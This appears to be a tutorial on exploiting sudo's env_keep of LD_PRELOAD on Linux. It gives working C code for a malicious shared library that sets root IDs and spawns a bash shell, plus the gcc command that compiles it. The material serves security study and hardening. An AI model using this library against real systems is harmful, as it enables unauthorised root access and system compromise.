Introduction

The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others.

By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the parent process.

If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.

Writing the Malicious Library

Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded.

#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init()
{
	unsetenv("LD_PRELOAD"); // Unset LD_PRELOAD to avoid an infinite loop
	setgid(0); // Set root permissions
	setuid(0); // Set root permissions
	
	system("/bin/bash");
}

We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on.

The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges.

Finally, system is called in order to spawn a bash shell.

We now need to compile this file as a shared library:

gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles

At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.